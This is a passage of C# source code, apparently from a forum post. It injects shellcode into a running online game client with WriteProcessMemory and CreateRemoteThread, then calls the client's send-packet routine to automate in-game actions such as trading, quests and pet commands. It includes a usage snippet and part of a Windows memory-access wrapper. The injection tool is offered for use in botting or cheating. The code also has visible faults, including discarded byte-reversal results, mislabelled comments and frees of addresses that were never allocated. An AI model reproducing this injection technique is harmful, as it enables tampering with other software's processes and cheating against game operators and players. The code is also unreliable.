public void askMaleToCarry(int playerId) { //Get size of the packet int packetSize = askMaleToCarryPkt.Length;
if (askMaleToCarryAddress == 0) { //load packet in memory loadPacket(askMaleToCarryPkt, ref askMaleToCarryAddress, ref askMaleToCarryAddressRev); } byte[] playerIdRev = BitConverter.GetBytes(playerId); playerIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, askMaleToCarryAddress + 2, playerIdRev); sendPacket(askMaleToCarryAddressRev, packetSize); }
//askFemaleToBeCarried
private int askFemaleToBeCarriedAddress; private byte[] askFemaleToBeCarriedAddressRev; private byte[] askFemaleToBeCarriedPkt = new byte[] { 0x5F, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //playerId };
public void askFemaleToBeCarried(int playerId) { //Get size of the packet int packetSize = askFemaleToBeCarriedPkt.Length;
if (askFemaleToBeCarriedAddress == 0) { //load packet in memory loadPacket(askFemaleToBeCarriedPkt, ref askFemaleToBeCarriedAddress, ref askFemaleToBeCarriedAddressRev); } byte[] playerIdRev = BitConverter.GetBytes(playerId); playerIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, askFemaleToBeCarriedAddress + 2, playerIdRev); sendPacket(askFemaleToBeCarriedAddressRev, packetSize); }
//acceptRequestByFemaleToBeCarried
private int acceptRequestByFemaleToBeCarriedAddress; private byte[] acceptRequestByFemaleToBeCarriedAddressRev; private byte[] acceptRequestByFemaleToBeCarriedPkt = new byte[] { 0x60, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //playerId 0x00, 0x00, 0x00, 0x00 };
public void acceptRequestByFemaleToBeCarried(int playerId) { //Get size of the packet int packetSize = acceptRequestByFemaleToBeCarriedPkt.Length;
if (acceptRequestByFemaleToBeCarriedAddress == 0) { //load packet in memory loadPacket(acceptRequestByFemaleToBeCarriedPkt, ref acceptRequestByFemaleToBeCarriedAddress, ref acceptRequestByFemaleToBeCarriedAddressRev); } byte[] playerIdRev = BitConverter.GetBytes(playerId); playerIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, acceptRequestByFemaleToBeCarriedAddress + 2, playerIdRev); sendPacket(acceptRequestByFemaleToBeCarriedAddressRev, packetSize); }
//acceptRequestByMaleToCarryYou
private int acceptRequestByMaleToCarryYouAddress; private byte[] acceptRequestByMaleToCarryYouAddressRev; private byte[] acceptRequestByMaleToCarryYouPkt = new byte[] { 0x61, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //uniqueId 0x00, 0x00, 0x00, 0x00 //typeId };
public void acceptRequestByMaleToCarryYou(int playerId) { //Get size of the packet int packetSize = acceptRequestByMaleToCarryYouPkt.Length;
if (acceptRequestByMaleToCarryYouAddress == 0) { //load packet in memory loadPacket(acceptRequestByMaleToCarryYouPkt, ref acceptRequestByMaleToCarryYouAddress, ref acceptRequestByMaleToCarryYouAddressRev); } byte[] playerIdRev = BitConverter.GetBytes(playerId); playerIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, acceptRequestByMaleToCarryYouAddress + 2, playerIdRev); sendPacket(acceptRequestByMaleToCarryYouAddressRev, packetSize); }
//Regular Attack
private int releaseCarryModeAddress; private byte[] releaseCarryModeAddressRev; private byte[] releaseCarryModePkt = new byte[] { 0x62, 0x00, //Header };
public void releaseCarryMode() { //Get size of the packet int packetSize = releaseCarryModePkt.Length;
if (releaseCarryModeAddress == 0) { //load packet in memory loadPacket(releaseCarryModePkt, ref releaseCarryModeAddress, ref releaseCarryModeAddressRev); }
sendPacket(releaseCarryModeAddressRev, packetSize); }
//viewPlayerEquip
private int viewPlayerEquipAddress; private byte[] viewPlayerEquipAddressRev; private byte[] viewPlayerEquipPkt = new byte[] { 0x63, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //playerId };
public void viewPlayerEquip(int playerId) { //Get size of the packet int packetSize = viewPlayerEquipPkt.Length;
if (viewPlayerEquipAddress == 0) { //load packet in memory loadPacket(viewPlayerEquipPkt, ref viewPlayerEquipAddress, ref viewPlayerEquipAddressRev); } byte[] playerIdRev = BitConverter.GetBytes(playerId); playerIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, viewPlayerEquipAddress + 2, playerIdRev); sendPacket(viewPlayerEquipAddressRev, packetSize); }
//Regular Attack
private int summonPetAddress; private byte[] summonPetAddressRev; private byte[] summonPetPkt = new byte[] { 0x64, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //petIndex };
public void summonPet(int petIndex) { //Get size of the packet int packetSize = summonPetPkt.Length;
if (summonPetAddress == 0) { //load packet in memory loadPacket(summonPetPkt, ref summonPetAddress, ref summonPetAddressRev); } byte[] petIndexRev = BitConverter.GetBytes(petIndex); petIndexRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, summonPetAddress + 2, petIndexRev); sendPacket(summonPetAddressRev, packetSize); }
//Regular Attack
private int recallPetAddress; private byte[] recallPetAddressRev; private byte[] recallPetPkt = new byte[] { 0x65, 0x00, //Header };
public void recallPet() { //Get size of the packet int packetSize = recallPetPkt.Length;
if (recallPetAddress == 0) { //load packet in memory loadPacket(recallPetPkt, ref recallPetAddress, ref recallPetAddressRev); }
sendPacket(recallPetAddressRev, packetSize); }
//Regular Attack
private int setPetModeAddress; private byte[] setPetModeAddressRev; private byte[] setPetModePkt = new byte[] { 0x67, 0x00, //Header 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 //petMode };
public void setPetMode(int petMode) { //Get size of the packet int packetSize = setPetModePkt.Length;
if (setPetModeAddress == 0) { //load packet in memory loadPacket(setPetModePkt, ref setPetModeAddress, ref setPetModeAddressRev); }
byte[] petModeRev = BitConverter.GetBytes(petMode); petModeRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, setPetModeAddress + 10, petModeRev);
sendPacket(setPetModeAddressRev, packetSize); }
//Regular Attack
private int setPetFollowAddress; private byte[] setPetFollowAddressRev; private byte[] setPetFollowPkt = new byte[] { 0x67, 0x00, //Header 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
public void setPetFollow() { //Get size of the packet int packetSize = setPetFollowPkt.Length;
if (setPetFollowAddress == 0) { //load packet in memory loadPacket(setPetFollowPkt, ref setPetFollowAddress, ref setPetFollowAddressRev); }
sendPacket(setPetFollowAddressRev, packetSize); }
//Regular Attack
private int setPetStopAddress; private byte[] setPetStopAddressRev; private byte[] setPetStopPkt = new byte[] { 0x67, 0x00, //Header 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00 };
public void setPetStop() { //Get size of the packet int packetSize = setPetStopPkt.Length;
if (setPetStopAddress == 0) { //load packet in memory loadPacket(setPetStopPkt, ref setPetStopAddress, ref setPetStopAddressRev); }
sendPacket(setPetStopAddressRev, packetSize); }
//Regular Attack
private int setPetAttackAddress; private byte[] setPetAttackAddressRev; private byte[] setPetAttackPkt = new byte[] { 0x67, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //targetId 0x01, 0x00, 0x00, 0x00, 0x00 };
public void setPetAttack(int targetId) { //Get size of the packet int packetSize = setPetAttackPkt.Length;
if (setPetAttackAddress == 0) { //load packet in memory loadPacket(setPetAttackPkt, ref setPetAttackAddress, ref setPetAttackAddressRev); }
byte[] targetIdRev = BitConverter.GetBytes(targetId); targetIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, setPetAttackAddress + 2, targetIdRev);
sendPacket(setPetAttackAddressRev, packetSize); }
//Regular Attack
private int setPetUseSkillAddress; private byte[] setPetUseSkillAddressRev; private byte[] setPetUseSkillPkt = new byte[] { 0x67, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //targetId 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //skillId 0x00 };
public void setPetUseSkill(int targetId, int skillId) { //Get size of the packet int packetSize = setPetUseSkillPkt.Length;
if (setPetUseSkillAddress == 0) { //load packet in memory loadPacket(setPetUseSkillPkt, ref setPetUseSkillAddress, ref setPetUseSkillAddressRev); }
byte[] targetIdRev = BitConverter.GetBytes(targetId); targetIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, setPetUseSkillAddress + 2, targetIdRev);
byte[] skillIdRev = BitConverter.GetBytes(skillId); skillIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, setPetUseSkillAddress + 10, skillIdRev);
sendPacket(setPetUseSkillAddressRev, packetSize); }
//Regular Attack
private int setPetStandardSkillAddress; private byte[] setPetStandardSkillAddressRev; private byte[] setPetStandardSkillPkt = new byte[] { 0x67, 0x00, //Header 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 //skillId };
public void setPetStandardSkill(int skillId) { //Get size of the packet int packetSize = setPetStandardSkillPkt.Length;
if (setPetStandardSkillAddress == 0) { //load packet in memory loadPacket(setPetStandardSkillPkt, ref setPetStandardSkillAddress, ref setPetStandardSkillAddressRev); }
byte[] skillIdRev = BitConverter.GetBytes(skillId); skillIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, setPetStandardSkillAddress + 10, skillIdRev);
sendPacket(setPetStandardSkillAddressRev, packetSize); }
//Regular Attack
private int useGenieSkillAddress; private byte[] useGenieSkillAddressRev; private byte[] useGenieSkillPkt = new byte[] { 0x74, 0x00, //Header 0x00, 0x00, //skillId 0x00, 0x01, 0x00, 0x00, 0x00, 0x00 //targetId };
public void useGenieSkill(short skillId, int targetId) { //Get size of the packet int packetSize = useGenieSkillPkt.Length;
if (useGenieSkillAddress == 0) { //load packet in memory loadPacket(useGenieSkillPkt, ref useGenieSkillAddress, ref useGenieSkillAddressRev); }
byte[] skillIdRev = BitConverter.GetBytes(skillId); skillIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, useGenieSkillAddress + 2, skillIdRev);
byte[] targetIdRev = BitConverter.GetBytes(targetId); targetIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, useGenieSkillAddress + 6, targetIdRev);
sendPacket(useGenieSkillAddressRev, packetSize); }
//Regular Attack
private int feedEquippedGenieAddress; private byte[] feedEquippedGenieAddressRev; private byte[] feedEquippedGeniePkt = new byte[] { 0x75, 0x00, //Header 0x00, //invIndex 0x00, 0x00, 0x00, 0x00 //amount };
public void feedEquippedGenie(byte invIndex, int amount) { //Get size of the packet int packetSize = feedEquippedGeniePkt.Length;
if (feedEquippedGenieAddress == 0) { //load packet in memory loadPacket(feedEquippedGeniePkt, ref feedEquippedGenieAddress, ref feedEquippedGenieAddressRev); }
MemFunctions.MemWriteByte(pr_processHandle, feedEquippedGenieAddress + 2, invIndex); byte[] amountRev = BitConverter.GetBytes(amount); amountRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, feedEquippedGenieAddress + 3, amountRev);
sendPacket(feedEquippedGenieAddressRev, packetSize); }
//Regular Attack
private int acceptQuestAddress; private byte[] acceptQuestAddressRev; private byte[] acceptQuestPkt = new byte[] { 0x25, 0x00, //Header 0x07, 0x00, 0x00, 0x00, //npc interaction type 0x04, 0x00, 0x00, 0x00, //nBytes following 0x00, 0x00, 0x00, 0x00 //questId };
public void acceptQuest(int questId) { //Get size of the packet int packetSize = acceptQuestPkt.Length;
if (acceptQuestAddress == 0) { //load packet in memory loadPacket(acceptQuestPkt, ref acceptQuestAddress, ref acceptQuestAddressRev); }
byte[] questIdRev = BitConverter.GetBytes(questId); questIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, acceptQuestAddress + 10, questIdRev);
sendPacket(acceptQuestAddressRev, packetSize); }
//Regular Attack
private int handInQuestAddress; private byte[] handInQuestAddressRev; private byte[] handInQuestPkt = new byte[] { 0x25, 0x00, //Header 0x06, 0x00, 0x00, 0x00, //npcInteractionType 0x08, 0x00, 0x00, 0x00, //nBytes following 0x00, 0x00, 0x00, 0x00, //questId 0x00, 0x00, 0x00, 0x00 //optionIndex };
public void handInQuest(int questId, int optionIndex) { //Get size of the packet int packetSize = handInQuestPkt.Length;
if (handInQuestAddress == 0) { //load packet in memory loadPacket(handInQuestPkt, ref handInQuestAddress, ref handInQuestAddressRev); }
byte[] questIdRev = BitConverter.GetBytes(questId); questIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, handInQuestAddress + 10, questIdRev); byte[] optionIndexRev = BitConverter.GetBytes(optionIndex); optionIndexRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, handInQuestAddress + 14, optionIndexRev);
sendPacket(handInQuestAddressRev, packetSize); }
//Regular Attack
private int sellSingleItemAddress; private byte[] sellSingleItemAddressRev; private byte[] sellSingleItemPkt = new byte[] { 0x25, 0x00, //Header 0x02, 0x00, 0x00, 0x00, //npcInteraction type 0x10, 0x00, 0x00, 0x00, //nBytes following 0x01, 0x00, 0x00, 0x00, //nItems Sold 0x00, 0x00, 0x00, 0x00, //typeId 0x00, 0x00, 0x00, 0x00, //invIndex 0x00, 0x00, 0x00, 0x00 //amount };
public void sellSingleItem(int typeId, int invIndex, int amount) { //Get size of the packet int packetSize = sellSingleItemPkt.Length;
if (sellSingleItemAddress == 0) { //load packet in memory loadPacket(sellSingleItemPkt, ref sellSingleItemAddress, ref sellSingleItemAddressRev); }
byte[] typeIdRev = BitConverter.GetBytes(typeId); typeIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, sellSingleItemAddress + 14, typeIdRev);
byte[] invIndexRev = BitConverter.GetBytes(invIndex); invIndexRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, sellSingleItemAddress + 18, invIndexRev);
byte[] amountRev = BitConverter.GetBytes(amount); amountRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, sellSingleItemAddress + 22, amountRev);
sendPacket(sellSingleItemAddressRev, packetSize); }
//Regular Attack
private int buySingleItemAddress; private byte[] buySingleItemAddressRev; private byte[] buySingleItemPkt = new byte[] { 0x25, 0x00, //Header 0x01, 0x00, 0x00, 0x00, //npcInteraction type 0x14, 0x00, 0x00, 0x00, //nBytes following 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, //nItems Sold 0x00, 0x00, 0x00, 0x00, //typeId 0x00, 0x00, 0x00, 0x00, //shopIndex 0x00, 0x00, 0x00, 0x00 //amount };
public void buySingleItem(int typeId, int shopIndex, int amount) { //Get size of the packet int packetSize = buySingleItemPkt.Length;
if (buySingleItemAddress == 0) { //load packet in memory loadPacket(buySingleItemPkt, ref buySingleItemAddress, ref buySingleItemAddressRev); } byte[] typeIdRev = BitConverter.GetBytes(typeId); typeIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, buySingleItemAddress + 18, typeIdRev);
byte[] shopIndexRev = BitConverter.GetBytes(shopIndex); shopIndexRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, buySingleItemAddress + 22, shopIndexRev);
byte[] amountRev = BitConverter.GetBytes(amount); amountRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, buySingleItemAddress + 26, amountRev); sendPacket(buySingleItemAddressRev, packetSize); }
//Regular Attack
private int repairAllAddress; private byte[] repairAllAddressRev; private byte[] repairAllPkt = new byte[] { 0x25, 0x00, //Header 0x03, 0x00, 0x00, 0x00, //npc interaction type 0x06, 0x00, 0x00, 0x00, //nBytes following 0xFF, 0xFF, 0xFF, 0xFF, //typeId 0x00, 0x00
};
public void repairAll() { //Get size of the packet int packetSize = repairAllPkt.Length;
if (repairAllAddress == 0) { //load packet in memory loadPacket(repairAllPkt, ref repairAllAddress, ref repairAllAddressRev); }
sendPacket(repairAllAddressRev, packetSize); }
//Regular Attack
private int repairItemAddress; private byte[] repairItemAddressRev; private byte[] repairItemPkt = new byte[] { 0x25, 0x00, //Header 0x03, 0x00, 0x00, 0x00, //npc interaction type 0x06, 0x00, 0x00, 0x00, //nBytes following 0xFF, 0xFF, 0xFF, 0xFF, //typeId 0x00, //isEquipped 0x00 //locationIndex };
public void repairItem(int typeId, byte isEquipped, byte locationIndex) { //Get size of the packet int packetSize = repairItemPkt.Length;
if (repairItemAddress == 0) { //load packet in memory loadPacket(repairItemPkt, ref repairItemAddress, ref repairItemAddressRev); } byte[] typeIdRev = BitConverter.GetBytes(typeId); typeIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, repairItemAddress + 10, typeIdRev);
MemFunctions.MemWriteByte(pr_processHandle, repairItemAddress + 14, isEquipped); MemFunctions.MemWriteByte(pr_processHandle, repairItemAddress + 15, locationIndex);
sendPacket(repairItemAddressRev, packetSize); }
//Regular Attack
private int upgradeSkillAddress; private byte[] upgradeSkillAddressRev; private byte[] upgradeSkillPkt = new byte[] { 0x25, 0x00, //Header 0x09, 0x00, 0x00, 0x00, //npc interaction type 0x04, 0x00, 0x00, 0x00, //nBytes following 0x00, 0x00, 0x00, 0x00, //skillId };
public void upgradeSkill(int skillId) { //Get size of the packet int packetSize = upgradeSkillPkt.Length;
if (upgradeSkillAddress == 0) { //load packet in memory loadPacket(upgradeSkillPkt, ref upgradeSkillAddress, ref upgradeSkillAddressRev); }
byte[] skillIdRev = BitConverter.GetBytes(skillId); skillIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, upgradeSkillAddress + 10, skillIdRev);
sendPacket(upgradeSkillAddressRev, packetSize); }
//opcode for sending a packet private byte[] sendPacketOpcode = new byte[] { 0x60, //PUSHAD 0xB8, 0x00, 0x00, 0x00, 0x00, //MOV EAX, SendPacketAddress 0x8B, 0x0D, 0x00, 0x00, 0x00, 0x00, //MOV ECX, DWORD PTR [realBaseAddress] 0x8B, 0x49, 0x20, //MOV ECX, DWORD PTR [ECX+20] 0xBF, 0x00, 0x00, 0x00, 0x00, //MOV EDI, packetAddress 0x6A, 0x00, //PUSH packetSize 0x57, //PUSH EDI 0xFF, 0xD0, //CALL EAX 0x61, //POPAD 0xC3 //RET };
//======================// // Memory Addresses // //======================//
//Main addresses private int packetAddressLocation; private int packetSizeAddress; private int sendPacketOpcodeAddress;
//Constructor public PacketSender(IntPtr processHandle) { pr_processHandle = processHandle; }
//Deselect Target
private int deselectTargetAddress; private byte[] deselectTargetAddressRev;
private byte[] deselectTargetPkt = new byte[] { 0x08, 0x00 //Header };
public void deselectTarget() { //Get size of the packet int packetSize = deselectTargetPkt.Length;
if (deselectTargetAddress == 0) { //load packet in memory loadPacket(deselectTargetPkt, ref deselectTargetAddress, ref deselectTargetAddressRev); }
sendPacket(deselectTargetAddressRev, packetSize); }
private void loadSendPacketOpcode() { //Allocate memory for the opcode to call the sendPacket function sendPacketOpcodeAddress = MemFunctions.AllocateMemory(pr_processHandle, sendPacketOpcode.Length);
//Write the opcode to memory MemFunctions.MemWriteBytes(pr_processHandle, sendPacketOpcodeAddress, sendPacketOpcode);
//Insert the reverse baseAddress and sendPacketFunctionAddress in opcode byte[] functionAddress = BitConverter.GetBytes(SEND_PACKET_ADDRESS); functionAddress.Reverse(); byte[] realBaseAddress = BitConverter.GetBytes(REAL_BASE_ADDRESS); realBaseAddress.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, sendPacketOpcodeAddress + 2, functionAddress); MemFunctions.MemWriteBytes(pr_processHandle, sendPacketOpcodeAddress + 8, realBaseAddress); packetAddressLocation = sendPacketOpcodeAddress + 16; packetSizeAddress = sendPacketOpcodeAddress + 21; }
public void sendPacket(byte[] packetLocation, int packetSize) { if (sendPacketOpcodeAddress == 0) { loadSendPacketOpcode(); }
MemFunctions.MemWriteBytes(pr_processHandle, packetAddressLocation, packetLocation); MemFunctions.MemWriteByte(pr_processHandle, packetSizeAddress, (byte)packetSize);
//Run the opcode IntPtr threadHandle = MemFunctions.CreateRemoteThread(pr_processHandle, sendPacketOpcodeAddress);
//Wait for opcode to be done MemFunctions.WaitForSingleObject(threadHandle);
//Close the thread MemFunctions.CloseProcess(threadHandle);
}
private void loadPacket(byte[] packet, ref int packetAddress, ref byte[] packetAddressRev) { //load packet in memory
//Allocate memory to store packet packetAddress = MemFunctions.AllocateMemory(pr_processHandle, packet.Length); //Write packet to allocated memory MemFunctions.MemWriteBytes(pr_processHandle, packetAddress, packet);
packetAddressRev = BitConverter.GetBytes(packetAddress); packetAddressRev.Reverse(); }
~PacketSender() { //Free memory for the packets stored in memory
if(packetAddressLocation != 0) { MemFunctions.FreeMemory(pr_processHandle, packetAddressLocation); } if(packetSizeAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, packetSizeAddress); } if(sendPacketOpcodeAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, sendPacketOpcodeAddress); } if (deselectTargetAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, deselectTargetAddress); } if (this.acceptDuelAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, acceptDuelAddress); } if (this.acceptPartyInviteAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, acceptPartyInviteAddress); } if (this.acceptQuestAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, acceptQuestAddress); } if (this.acceptRequestByFemaleToBeCarriedAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, acceptRequestByFemaleToBeCarriedAddress); } if (this.acceptRequestByMaleToCarryYouAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, acceptRequestByMaleToCarryYouAddress); } if (this.acceptRessurectByClericAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, acceptRessurectByClericAddress); } if (this.askFemaleToBeCarriedAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, askFemaleToBeCarriedAddress); } if (this.askMaleToCarryAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, askMaleToCarryAddress); } if (this.beIntimateAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, beIntimateAddress); } if (this.buySingleItemAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, buySingleItemAddress); } if (this.cancelActionAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, cancelActionAddress); } if (this.dropGoldAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, dropGoldAddress); } if (this.dropItemAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, dropItemAddress); } if (this.evictFromPartyAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, evictFromPartyAddress); } if (this.feedEquippedGenieAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, feedEquippedGenieAddress); } if (this.handInQuestAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, handInQuestAddress); } if (this.harvestResourceAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, harvestResourceAddress); } if (this.increaseFlySpeedAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, increaseFlySpeedAddress); } if (this.increaseStatsByAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, increaseStatsByAddress); } if (this.increaseStatsByAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, increaseStatsByAddress); } if (this.initiateSettingUpCatShopAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, initiateSettingUpCatShopAddress); } if (this.invitePartyAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, invitePartyAddress); } if (this.inviteToDuelAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, inviteToDuelAddress); } if (this.leavePartyAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, leavePartyAddress); } if (this.logOutAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, logOutAddress); } if (this.pickUpItemAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, pickUpItemAddress); } if (this.recallPetAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, recallPetAddress); } if (this.refusePartyInviteAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, refusePartyInviteAddress); } if (this.regularAttackAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, regularAttackAddress); } if (this.releaseCarryModeAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, releaseCarryModeAddress); } if (this.repairAllAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, repairAllAddress); } if (this.repairItemAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, repairItemAddress); } if (this.resurrectToTownAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, resurrectToTownAddress); } if (this.resurrectWithScrollAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, resurrectWithScrollAddress); } if (this.selectAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, selectAddress); } if (this.sellSingleItemAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, sellSingleItemAddress); } if (this.setPartySearchSettingsAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, setPartySearchSettingsAddress); } if (this.setPetAttackAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, setPetAttackAddress); } if (this.setPetFollowAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, setPetFollowAddress); } if (this.setPetModeAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, setPetModeAddress); } if (this.setPetStandardSkillAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, setPetStandardSkillAddress); } if (this.setPetStopAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, setPetStopAddress); } if (this.setPetUseSkillAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, setPetUseSkillAddress); } if (this.shiftPartyCaptainAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, shiftPartyCaptainAddress); } if (this.splitStackItemInBankAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, splitStackItemInBankAddress); } if (this.splitStackItemInBankToInvAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, splitStackItemInBankToInvAddress); } if (this.splitStackItemInInvAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, splitStackItemInInvAddress); } if (this.splitStackItemInInvToBankAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, splitStackItemInInvToBankAddress); } if (this.startMeditatingAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, startMeditatingAddress); } if (this.startNpcDialogueAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, startNpcDialogueAddress); } if (this.stopMeditatingAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, stopMeditatingAddress); } if (this.summonPetAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, summonPetAddress); } if (this.swapEquipWithInvAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, swapEquipWithInvAddress); } if (this.swapItemBankAndInvAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, swapItemBankAndInvAddress); } if (this.swapItemInBankAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, swapItemInBankAddress); } if (this.swapItemInEquipAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, swapItemInEquipAddress); } if (this.swapItemInInvAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, swapItemInInvAddress); } if (this.toggleFashionDisplayAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, toggleFashionDisplayAddress); } if (this.updateInvPositionAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, updateInvPositionAddress); } if (this.updateStatsAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, updateStatsAddress); } if (this.upgradeSkillAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, upgradeSkillAddress); } if (this.useEmotionAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, useEmotionAddress); } if (this.useGenieSkillAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, useGenieSkillAddress); } if (this.useItemAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, useItemAddress); } if (this.useSkillddress != 0) { MemFunctions.FreeMemory(pr_processHandle, useSkillddress); } if (this.useSkillWithoutCastTimeAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, useSkillWithoutCastTimeAddress); } if (this.viewPlayerEquipAddress != 0) { MemFunctions.FreeMemory(pr_processHandle, viewPlayerEquipAddress); } } } }
use as follows:
PHP Code:
//open process IntPtr pr_processHandle = MemFunctions.OpenProcess(pid); //create new packetSender class for this process PacketSender sendPacket = new PacketSender(pr_processHandle);
//send packet for toggling flymode for example: sendPacket.useItem(1, 0xC, player.values.flyMountId);
Memfunctions class:
PHP Code:
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Runtime.InteropServices; using System.Diagnostics;
public class MemFunctions { public delegate int ThreadProc(IntPtr param);
public enum EncodingType { ASCII, Unicode, UTF7, UTF8 }
[Flags] public enum FreeType { Decommit = 0x4000, Release = 0x8000, }
const UInt32 INFINITE = 0xFFFFFFFF; const UInt32 WAIT_ABANDONED = 0x00000080; const UInt32 WAIT_OBJECT_0 = 0x00000000; const UInt32 WAIT_TIMEOUT = 0x00000102;
[DllImport("kernel32.dll")] private static extern IntPtr OpenProcess( UInt32 dwDesiredAccess, Int32 bInheritHandle, UInt32 dwProcessId );
[DllImport("Kernel32.dll")] private static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead);
[DllImport("kernel32.dll")] private static extern Int32 CloseHandle( IntPtr hObject );
[DllImport("kernel32.dll")] private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] private static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, FreeType dwFreeType);
[DllImport("kernel32.dll", SetLastError = true)] private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
